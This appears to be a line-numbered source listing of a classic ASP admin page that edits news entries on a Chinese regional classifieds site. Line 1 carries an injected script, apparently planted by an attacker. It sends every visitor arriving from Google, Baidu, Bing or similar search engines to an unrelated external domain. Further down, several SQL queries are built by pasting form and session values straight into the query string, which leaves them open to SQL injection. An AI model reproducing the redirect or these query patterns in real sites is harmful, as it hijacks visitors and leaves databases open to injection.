d:\wwwroot\wuchunhua\cityadmin\editad_news.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_cityadmin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: dim theid,dtitle,dcolor,dbgcolor1,dcu,dlei,dispic,dpic,dtext,dstop,dtop,dmoney,sql,rs
007: theid=request("id")
008: if isnumeric(theid)=false then
009: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
010: response.end
011: end if
012: sql="select * from news_data where '"&city&"' and adid="&theid
013: set rs=server.createobject("adodb.recordset")
014: rs.open sql,conn,1,3
015: if rs.eof or rs.bof then
016: response.write"<p align='center'><font color='red'>此信息不存在或不属于您管理的地区!</font>"
017: response.end
018: end if
019: dtitle=HtmlEncode(trim(request.form("dtitle")))
020: dcolor=HtmlEncode(trim(request.form("dcolor")))
021: dbgcolor1=HtmlEncode(trim(request.form("dbgcolor1")))
022: dcu=HtmlEncode(trim(request.form("dcu")))
023: city_oneid=HtmlEncode(trim(request.form("city_one")))
024: city_twoid=HtmlEncode(trim(request.form("city_two")))
025: if city_twoid=""  then
026: city_twoid=0
027: end if
028: city_threeid=HtmlEncode(trim(request.form("city_three")))
029: if city_threeid="" then
030: city_threeid=0
031: end if
032: dlei=HtmlEncode(trim(request.form("dlei")))
033: dispic=HtmlEncode(trim(request.form("dispic")))
034: dpic=HtmlEncode(trim(request.form("dpic")))
035: dtext=HtmlEncode2(request.form("dtext"))
036: dstop=HtmlEncode(trim(request.form("dstop")))
037: dtop=HtmlEncode(trim(request.form("dtop")))
038:
039: if dmoney<>"" then
040:   if isnumeric(dmoney)=false then
041:   response.write "<script>alert('信息费用请填写数字,立即返回!');history.back();</script>"
042:   response.end
043:   end if
044: end if
045:
046:
047: if dtitle<>"" then
048: rs.close
049: rs.open "select city from china_city where twoid=0 and threeid=0 and id="&city_oneid,conn,1,1
050: city_one=rs("city")
051: rs.close
052: if city_twoid<>0 then
053: rs.open "select city from china_city where id="&city_oneid&" and threeid=0 and twoid="&city_twoid,conn,1,1
054: city_two=rs("city")
055: rs.close
056: end if
057: if  city_threeid<>0 then
058: rs.open "select city from china_city where id="&city_oneid&" and twoid="&city_twoid&" and threeid="&city_threeid,conn,1,1
059: city_three=rs("city")
060: rs.close
061: end if
062:
063: sql="select * from news_data where adid="&theid
064: set rs=server.createobject("adodb.recordset")
065: rs.open sql,conn,1,3
066: rs("title")=dtitle
067: rs("color")=dcolor
068: rs("bgcolor1")=dbgcolor1
069: rs("cu")=dcu
070: rs("city_oneid")=city_oneid
071: rs("city_one")=city_one
072: rs("city_two")=city_two
073: rs("city_twoid")=city_twoid
074: rs("city_three")=city_three
075: rs("city_threeid")=city_threeid
076: rs("type")=dlei
077: if dpic="http://" then
078: dpic=""
079: end if
080: if rs("pic")<>dpic then
081: if rs("pic")<>"" and lcase(left(rs("pic"),7))<>"http://" then
082: '''''''''''删除图片开始''''''''''''''''
083: Set fdel = CreateObject("Scripting.FileSystemObject")  
084:               tempImageDir = Server.MapPath("../adpic/"&rs("pic")&"")
085:                 fdel.DeleteFile(tempImageDir)
086: set fdel=nothing
087: '''''''''''删除图片结束'''''''''''''''
088: end if
089: rs("pic")=dpic
090: end if
091: rs("text")=dtext
092: rs("stop")=dstop
093: rs("top")=dtop
094: rs("time")=request.form("time")
095: rs.update
096: id=rs("adid")
097: rs.close:set rs=nothing                                                                                    
098: conn.close:set conn=nothing
099: ''''''''''''''''''生成html开始''''''''''''''''''''''''''
100: ServerURL=CStr(Request.ServerVariables("SCRIPT_NAME"))
101: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
102: ServerURL=left(ServerURL, n-1)'显示从左边数第"n-1"个字符前面的字符,
103: n=InStrRev(ServerURL,"/") '从右边第一个字符起查找"_"的位置,n为返回值
104: ServerURL=left(ServerURL, n)'显示从左边数第"n"个字符前面的字符,
105: ServerURL="http://"&Request.ServerVariables("SERVER_NAME")&""&ServerURL&"news.asp?id="&id&""
106:
107: set http=server.createobject("MSXML2.XMLHTTP")
108: Http.open "get",ServerURL,false
109: Http.send()
110: AA=Http.responseText
111: set http=nothing
112: set objfso = Server.CreateObject("Scripting.FileSystemObject")
113: set htmout = objfso.CreateTextFile(server.mappath("../html/news/"&id&".htm"))
114: AA=replace(AA,"post.asp","../../post.asp")
115: AA=replace(AA,"adpic/","../../adpic/")
116: AA=replace(AA,"link.asp","../../link.asp")
117: AA=replace(AA,"link_img.asp","../../link_img.asp")
118: AA=replace(AA,"index.asp","../../index.asp")
119: AA=replace(AA,"114/../../index.asp","../../114/index.asp")
120: AA=replace(AA,"ad.asp","../../ad.asp")
121: AA=replace(AA,"TV.asp","../../tv.asp")
122: AA=replace(AA,"user.asp","../../user.asp")
123: AA=replace(AA,"gbook.asp","../../gbook.asp")
124: AA=replace(AA,"city.asp","../../city.asp")
125: AA=replace(AA,"city_more.asp","../../city_more.asp")
126: AA=replace(AA,"reg.asp","../../reg.asp")
127: AA=replace(AA,"login.asp","../../login.asp")
128: AA=replace(AA,"search.asp","../../search.asp")
129: AA=replace(AA,"114/join.asp","../../114/join.asp")
130: AA=replace(AA,"114/qy../../login.asp","../../114/qylogin.asp")
131: AA=replace(AA,"fabu.asp","../../fabu.asp")
132: AA=replace(AA,"type.asp","../../type.asp")
133: AA=replace(AA,"rq_message.asp","../../rq_message.asp")
134: AA=replace(AA,"top.asp","../../top.asp")
135: AA=replace(AA,"money.asp","../../money.asp")
136: AA=replace(AA,"pic.asp","../../pic.asp")
137: AA=replace(AA,"bbs/","../../bbs/")
138: AA=replace(AA,"html/news/","")
139: AA=replace(AA,"about.asp","../../about.asp")
140: htmout.write replace(AA,"images/","../../images/")
141: htmout.close
142: set htmout=nothing  
143: set objfso=nothing  
144: ''''''''''''''''''生成html结束''''''''''''''''''''''''''
145: response.redirect "ok.asp"
146: end if%
>
147:
148: <html>
149: <head>
150: <link rel="stylesheet" type="text/css" href="style.css">
151: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
152: <meta name="GENERATOR" content="Microsoft FrontPage 6.0">
153: <meta name="ProgId" content="FrontPage.Editor.Document">
154: <title>修改信息</title>
155: <SCRIPT LANGUAGE="JavaScript">
156: <!--//
157: function checkadd()
158: {  
159:
160:                    //检查年月日是否是合法日期
161:
162:                    function isdate(intYear,intMonth,intDay){
163:
164:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
165:
166:                       if(intMonth>12||intMonth<1) return false;  
167:
168:                       if ( intDay<1||intDay>31)return false;  
169:
170:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
171:
172:                       if(intMonth==2){  
173:
174:                          if(intDay>29) return false;    
175:
176:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
177:
178:                         }  
179:
180:                       return true;  
181:
182:                    }  
183:
184:     if (document.postart.dtitle.value.length<1)
185:    {
186:         alert("请填写信息标题!");
187:         document.postart.dtitle.focus();
188:         return false;
189:     }
190:     if (document.postart.dlei.value=="选择信息类别")
191:    {
192:         alert("请选择信息类别!");
193:         document.postart.dlei.focus();
194:         return false;
195:     }
196:     if (document.postart.dtext.value.length>1500)
197:    {
198:         alert("请把信息内容的字数控制在1500以内!");
199:         document.postart.dtext.focus();
200:         return false;
201:     }
202:     if (document.postart.dstop.value=="选择有效期")
203:    {
204:         alert("请选择有效期!");
205:         document.postart.dstop.focus();
206:         return false;
207:     }
208: }
209: //-->

210: </SCRIPT>
211: <SCRIPT LANGUAGE="JavaScript">      
212: <!-- Begin
213: maxLen = 1500;
214: function checkMaxInput(form) {
215: if (form.dtext.value.length > maxLen)
216: form.remLen.value = 0;
217: else form.remLen.value = maxLen - form.dtext.value.length;
218: }
219: //  End -->

220: </script>
221: <script language="javascript" type="text/javascript">
222: <!--
223: function changeColor(o) {
224:     document.getElementById("colorBox").style.color = o.value;
225: }
226: //-->

227: </script>
228: <script language="javascript" type="text/javascript">
229: <!--
230: function changeColor1(o) {
231:     document.getElementById("colorBox1").style.background = o.value;
232: }
233: //-->

234: </script>
235: </head>
236:
237: <body background="images/background.gif">
238: <div align="center">
239: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
240:   <tr>
241:       <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">编
242:         辑 新 闻 内 容</font></td>
243:   </tr>
244:   <tr>
245:     <td align="center" bgcolor="#FFFFFF"> <br>
246:       <form action="" method="post" name="postart" onsubmit="return checkadd()">
247:           <table width="98%" border="0" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
248:             <tr bgcolor="#FFFFFF">
249:               <td width="27%" height="26" align="right">新闻标题:</td>
250:               <td height="26" colspan="2">
251:                 <input type="text" name="dtitle" size="40" maxlength="15" value="<%=rs("title")%>">
252:                 <font color="#FF0000">*<%=rs("ip")%></font></td>
253:             </tr>
254:             <tr bgcolor="#FFFFFF">
255:               <td height="26" align="right">是否加粗:</td>
256:               <td height="26" colspan="2">
257:                 <input type="radio" value="no" <%if rs("cu")="no" then%>checked<%end if%> name="dcu">
258:                 否&nbsp;
259:                 <input type="radio" value="yes" name="dcu" <%if rs("cu")="yes" then%>checked<%end if%>>
260:                 是</td>
261:             </tr>
262:             <tr bgcolor="#FFFFFF">
263:               <td align="right">标题颜色:</td>
264:               <td width="160" height="26">
265:                 <input name="dcolor" type="text" id="dcolor" onchange="changeColor(this);" value="<%=rs("color")%>" size="8" />
266:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker.html', 'colorPicker', 'width=200, height=160');" />
267:               </td>
268:               <td rowspan="2">
269:                 <div align="center">
270:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#cae2f8">
271:                     <tr>
272:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
273:                         <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
274:                           <tr>
275:                             <td></td>
276:                           </tr>
277:                         </table>
278:                         <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>"><b>原来的标题和背景颜色</b></font></td>
279:                     </tr>
280:                   </table>
281:                   <table width="166" border="0" cellspacing="0" cellpadding="0" height="2">
282:                     <tr>
283:                       <td></td>
284:                     </tr>
285:                   </table>
286:                   <table width="182" height="24" border="0" cellpadding="0" cellspacing="1" bgcolor="#CAE2F8">
287:                     <tr>
288:                       <td align="center" <%if rs("bgcolor1")<>"" then%>bgcolor="<%=rs("bgcolor1")%>"<%else%>bgcolor="#EFF7FE"<%end if%>>
289:                         <div id="colorBox1" style="width: 180px;height: 24px">
290:                           <table width="166" border="0" cellspacing="0" cellpadding="0" height="5">
291:                             <tr>
292:                               <td></td>
293:                             </tr>
294:                           </table>
295:                           <font style="font-size:14px" color="<%if rs("color")<>"" then%><%=rs("color")%><%else%>#000000<%end if%>">
296:                           <div id="colorBox"><b>修改后标题和背景颜色</b></div>
297:                           </font> </div>
298:                       </td>
299:                     </tr>
300:                   </table>
301:                 </div>
302:               </td>
303:             </tr>
304:             <tr bgcolor="#FFFFFF">
305:               <td align="right">标题背景:</td>
306:               <td height="26">
307:                 <input name="dbgcolor1" type="text" id="dbgcolor1" onchange="changeColor1(this);" value="<%=rs("bgcolor1")%>" size="8" />
308:                 <input type="button" name="Submit" value="选择颜色" onclick="window.open('../colorpicker1.html', 'colorPicker', 'width=200, height=160');" />
309:               </td>
310:             </tr>
311:             <tr bgcolor="#FFFFFF">
312:               <td height="26" align="right">选择城市:</td>
313:               <td height="26" colspan="2">
314:                                <%
315: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
316: %
>
317:       <script language = "JavaScript">
318: var onecount;
319: onecount=0;
320: subcat = new Array();
321:         <%
322:       dim count:count = 0
323:         do while not rsi.eof
324:         %
>
325: subcat[<%=count%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>");
326:         <%
327:         count = count + 1
328:         rsi.movenext
329:         loop
330:         rsi.close
331:       set rsi=nothing
332:         %
>
333: onecount=<%=count%>;
334: </script>
335: <%
336: set rsi=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
337: %
>
338: <script language = "JavaScript">
339: var onecount4;
340: onecount4=0;
341: subcat4 = new Array();
342:         <%
343:       dim count4:count4 = 0
344:         do while not rsi.eof
345:         %
>
346: subcat4[<%=count4%>] = new Array("<%=rsi("city")%>","<%=rsi("id")%>","<%=rsi("twoid")%>","<%=rsi("threeid")%>");
347:         <%
348:         count4 = count4 + 1
349:         rsi.movenext
350:         loop
351:         rsi.close
352:       set rsi = nothing
353:         %
>
354: onecount4=<%=count4%>;
355:
356: function changelocation(locationid)
357:     {
358:     document.postart.city_two.length = 0;
359:    document.postart.city_two.options[0] = new Option('选择城市','');
360:    document.postart.city_three.length = 0;
361:    document.postart.city_three.options[0] = new Option('选择城市','');
362:     var locationid=locationid;
363:     var i;
364:     for (i=0;i < onecount; i++)
365:         {
366:             if (subcat[i][1] == locationid)
367:             {
368:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
369:             }        
370:         }
371:         
372:     }    
373:   
374:    function changelocation4(locationid,locationid1)
375:     {
376:     document.postart.city_three.length = 0;
377:     document.postart.city_three.options[0] = new Option('选择城市','');
378:     var locationid=locationid;
379:     var locationid1=locationid1;
380:     var i;
381:     for (i=0;i < onecount4; i++)
382:         {
383:             if (subcat4[i][2] == locationid)
384:             {
385:          if (subcat4[i][1] == locationid1)
386:          {
387:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
388:             }        
389:         }
390:        }
391:     }            
392:               </script>
393:       <select name="city_one" size="1" id="select2" >
394:     <option value="<%=rs("city_oneid")%>" selected><%=rs("city_one")%></option>
395:    </select>
396:       <select name="city_two" id="city_two" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
397:     <option value="" selected>选择城市</option>
398:    <%if session("twoid")<>0 then
399:    set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid=0")
400:   %
><option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("city_twoid") then%>selected<%end if%>><%=rsi("city")%></option>
401: <%rsi.close
402: set rsi = nothing
403: else
404: set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid>0 and threeid=0")
405: if rsi.eof or rsi.bof then
406: response.write "<option value=''>没有分类</option>"
407: else
408: do until rsi.eof%
>
409:   <option value="<%=rsi("twoid")%>" <%if rsi("twoid")=rs("city_twoid") then%>selected<%end if%>><%=rsi("city")%></option>
410: <%rsi.movenext
411:     loop
412:    %
>
413:    <%end if
414: rsi.close
415: set rsi = nothing
416: end if
417: %
>
418:   
419:    </select>
420:         <select name="city_three" id="city_three">
421:        <option value="" selected>选择城市</option>
422:            <%if session("threeid")<>0 then
423:    set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&session("twoid")&" and threeid="&session("threeid")&"")
424: response.write "<option value='"&rsi("threeid")&"'>"&rsi("city")&"</option>"
425: rsi.close
426: set rsi = nothing
427: else
428: set rsi=conn.execute("select * from china_city where id="&session("oneid")&" and twoid="&rs("city_twoid")&" and threeid<>0")
429: if rsi.eof or rsi.bof then
430: response.write "<option value=''>没有分类</option>"
431: else
432: do until rsi.eof%
>
433: <option value="<%=rsi("threeid")%>" <%if rsi("threeid")=rs("city_threeid") then%>selected<%end if%>><%=rsi("city")%></option>
434:    <% rsi.movenext
435:     loop
436:    %
>
437: <%end if
438: end if
439: %
>
440:     </select>
441:                 <font color="#FF0000">*</font> </td>
442:             </tr>
443:             <tr bgcolor="#FFFFFF">
444:               <td height="26" align="right">新闻类别:</td>
445:               <td height="26" colspan="2">
446:                 <select name="dlei" size="1">
447:                   <%set rs_lei = server.createobject("adodb.recordset")
448:          sql = "select * from news_type"
449:          rs_lei.open sql,conn,1,1
450:                   do while not rs_lei.eof%
>
451:                   <option value="<%=rs_lei("name")%>" <%if rs_lei("name")=rs("type") then%>selected<%end if%>><%=rs_lei("name")%></option>
452:                   <%rs_lei.movenext
453:         loop                                                                                                
454:         rs_lei.close
455:         set rs_lei = nothing%
>
456:                 </select>
457:               </td>
458:             </tr>
459:             <tr bgcolor="#FFFFFF">
460:               <td height="26" align="right">图片路径:</td>
461:               <td height="26" colspan="2">
462:                 <input type="text" name="dpic" size="30" value="<%=rs("pic")%>">
463: <iframe style="top:2px" ID="UploadFiles" src="../upload_Photo.asp?PhotoUrlID=0" frameborder=0 scrolling=no width="320" height="25"></iframe></td>
464:             </tr>
465:             <tr bgcolor="#FFFFFF">
466:               <td height="26" align="right" valign="top">新闻内容:</td>
467:               <td colspan="2">
468:                 <textarea rows="14" name="dtext" cols="60" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"><%if rs("text")<>"" then%><%=replace(rs("text"),"<br>",vbcrlf)%><%end if%>
469:       </textarea>
470:                 <font color="#FF0000">*&nbsp;</font> <font color="#FF0000"><br>
471:                 目前还可写
472:                 <input readonly type=text name=remLen size=4 maxlength=4 style="border: 1 solid #888888">
473:                 个字!</font> </td>
474:             </tr>
475:             <tr bgcolor="#FFFFFF">
476:               <td height="26" align="right">生效日期:</td>
477:               <td height="26" colspan="2">
478:                 <input name="time" size="15" maxlength="50" value="<%=rs("time")%>">
479:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
480:             </tr>
481:             <tr bgcolor="#FFFFFF">
482:               <td height="26" align="right">有效期至:</td>
483:               <td height="26" colspan="2">
484:                 <input name="dstop" size="15" maxlength="50" value="<%=rs("stop")%>">
485:                 <font color="#FF0000">(格式如:2004-10-1)</font></td>
486:             </tr>
487:             <tr bgcolor="#FFFFFF">
488:               <td height="26" align="right">是否固顶:</td>
489:               <td height="26" colspan="2">
490:                 <input type="radio" value="0" name="dtop" <%if rs("top")="0" then%>checked<%end if%>>
491:                 否&nbsp;
492:                 <input type="radio" value="1" name="dtop" <%if rs("top")="1" then%>checked<%end if%>>
493:                 是</td>
494:             </tr>
495:             <tr bgcolor="#FFFFFF">
496:               <td height="30" align="right"> </td>
497:               <td height="30" colspan="2" align="right">
498:                 <p align="left">
499:                   <input type="submit" value="修改" name="submit">
500:                   &nbsp;
501:                   <input type="reset" value="取消" name="reset">
502:                   &nbsp;
503:                   <input type="button" value="返回" name="back" onclick="javascript:history.back()">
504:               </td>
505:             </tr>
506:           </table>
507:       </form>
508:       <br>    </td>
509:   </tr>
510: </table>
511: </div>
512: <br>                                                                                                                      
513: </body>
514: </html>                    
515: <%rs.close                      
516: set rs=nothing                                                                                                        
517: conn.close                      
518: set conn=nothing%
>
519:
520:
521: